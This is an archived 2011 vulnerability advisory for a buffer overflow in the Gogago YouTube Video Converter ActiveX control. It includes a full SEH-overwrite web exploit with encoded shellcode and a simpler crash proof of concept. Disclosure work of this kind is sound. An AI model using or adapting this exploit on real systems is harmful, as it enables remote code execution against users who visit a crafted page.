Stay in Touch

Application security insights and invitations to exclusive events in your inbox


Your data will stay confidential Private and Confidential

Buffer Overflow Vulnerability in Gogago YouTube Video Converter ActiveX Control

Advisory ID:HTB23012
Product:Gogago YouTube Video Converter
Vendor:Gogago
Vulnerable Versions:1.1.6 (3/29/2011) and probably prior
Tested Version:1.1.6 (3/29/2011)
Advisory Publication:May 25, 2011 [without technical details]
Vendor Notification:May 25, 2011
Public Disclosure:June 15, 2011
Latest Update:June 16, 2011
Vulnerability Type:Buffer Errors [CWE-119]
Risk Level:Critical
CVSSv2 Base Score:10 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in Gogago YouTube Video Converter ActiveX Control which could be exploited to compromise vulnerable system.

1) Buffer Overflow Vulnerability in Gogago YouTube Video Converter ActiveX Control
Boundary error exists in the "Download()" method in MDIEEx.dll when handling overly log strings. A remote attacker can trick user into visiting a specially crafted webpage, cause buffer overflow and execute arbitrary code on the target system with privileges of the current user.
Exploitation example:
<html>
<body>
<object id=ctrl classid="clsid:{7966A32A-5783-4F0B-824C-09077C023080}"></object>
<script language='javascript'>
shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58 %36%33%30%56%58%34%41%30%42%36%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48% 34%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41%56%58%34%5a%38%42%44%4a%4 f%4d%4e%4f%4c%56%4b%4e%4d%54%4a%4e%49%4f%4f%4f%4f%4f%4f%4f%42%56%4b%48%4e%56 %46%32%46%32%4b%38%45%44%4e%53%4b%58%4e%37%45%30%4a%57%41%30%4f%4e%4b%48%4f% 34%4a%51%4b%58%4f%35%42%52%41%50%4b%4e%49%54%4b%48%46%53%4b%48%41%50%50%4e%4 1%33%42%4c%49%59%4e%4a%46%38%42%4c%46%37%47%50%41%4c%4c%4c%4d%30%41%30%44%4c %4b%4e%46%4f%4b%53%46%55%46%42%4a%52%45%57%45%4e%4b%58%4f%35%46%32%41%30%4b% 4e%48%56%4b%58%4e%30%4b%44%4b%58%4f%55%4e%51%41%50%4b%4e%43%50%4e%32%4b%48%4 9%38%4e%56%46%42%4e%31%41%46%43%4c%41%53%4b%4d%46%36%4b%58%43%54%42%43%4b%48 %42%44%4e%50%4b%58%42%47%4e%51%4d%4a%4b%38%42%54%4a%30%50%35%4a%56%50%48%50% 54%50%30%4e%4e%42%55%4f%4f%48%4d%48%46%43%35%48%56%4a%36%43%33%44%53%4a%46%4 7%47%43%37%44%43%4f%45%46%55%4f%4f%42%4d%4a%46%4b%4c%4d%4e%4e%4f%4b%43%42%55 %4f%4f%48%4d%4f%35%49%48%45%4e%48%56%41%38%4d%4e%4a%30%44%50%45%45%4c%36%44% 50%4f%4f%42%4d%4a%46%49%4d%49%50%45%4f%4d%4a%47%55%4f%4f%48%4d%43%55%43%35%4 3%35%43%55%43%45%43%54%43%55%43%54%43%45%4f%4f%42%4d%48%56%4a%56%41%41%4e%45 %48%46%43%55%49%48%41%4e%45%39%4a%36%46%4a%4c%31%42%37%47%4c%47%55%4f%4f%48% 4d%4c%46%42%41%41%55%45%35%4f%4f%42%4d%4a%46%46%4a%4d%4a%50%32%49%4e%47%35%4 f%4f%48%4d%43%55%45%55%4f%4f%42%4d%4a%36%45%4e%49%34%48%48%49%54%47%45%4f%4f %48%4d%42%35%46%35%46%55%45%45%4f%4f%42%4d%43%39%4a%46%47%4e%49%37%48%4c%49% 57%47%35%4f%4f%48%4d%45%45%4f%4f%42%4d%48%56%4c%36%46%56%48%56%4a%46%43%46%4 d%56%49%38%45%4e%4c%56%42%45%49%35%49%42%4e%4c%49%38%47%4e%4c%46%46%54%49%38 %44%4e%41%33%42%4c%43%4f%4c%4a%50%4f%44%54%4d%32%50%4f%44%44%4e%32%43%49%4d% 58%4c%57%4a%53%4b%4a%4b%4a%4b%4a%4a%46%44%57%50%4f%43%4b%48%41%4f%4f%45%57%4 6%44%4f%4f%48%4d%4b%55%47%55%44%55%41%45%41%45%41%45%4c%56%41%30%41%45%41%35 %45%45%41%45%4f%4f%42%4d%4a%46%4d%4a%49%4d%45%30%50%4c%43%45%4f%4f%48%4d%4c% 36%4f%4f%4f%4f%47%43%4f%4f%42%4d%4b%38%47%35%4e%4f%43%38%46%4c%46%46%4f%4f%4 8%4d%44%55%4f%4f%42%4d%4a%46%42%4f%4c%58%46%30%4f%45%43%35%4f%4f%48%4d%4f%4f %42%4d%5a")
function Exploit()
{
var size_buff = 2367;
var x = "aaaa";
while (x.length < size_buff) x += x; // Injecting our junk buffer
x = x.substring(0,size_buff);
var NEXT_exception = unescape("%eb%06%90%90"); // Jump over 6 bytes to reach our payload
x += NEXT_exception;
var SE = unescape("%d2%26%f0%03"); // 03f026d2 from MDIEEx.dll (POP POP RET)
x += SE;
x += shellcode;
ctrl.Download(x);
}
</script>

<input language=JavaScript onclick=Exploit() type=button value="Go">
</body>
</html>

Exploitation example:
<html>
<body>
<object classid='clsid:7966A32A-5783-4F0B-824C-09077C023080' id='target'></object>
<script language='javascript'>
var arg1 = '';
while (arg1.length < 2000) arg1+='A';
target.Download(arg1);
</script>

</body>
</html>


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Upgrade to the most recent version


References:
[1] High-Tech Bridge Advisory HTB23012 - https://www.immuniweb.com/advisory/HTB23012 - Buffer Overflow Vulnerability in Gogago YouTube Video Converter ActiveX Control
[2] Gogago YouTube Video Converter - gogago.net - YouTube Video Downloader is an utility that allows you to download your favorite videos from YouTube and convert them to any format for any device.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Quick Start
Technology
Products
Free Trial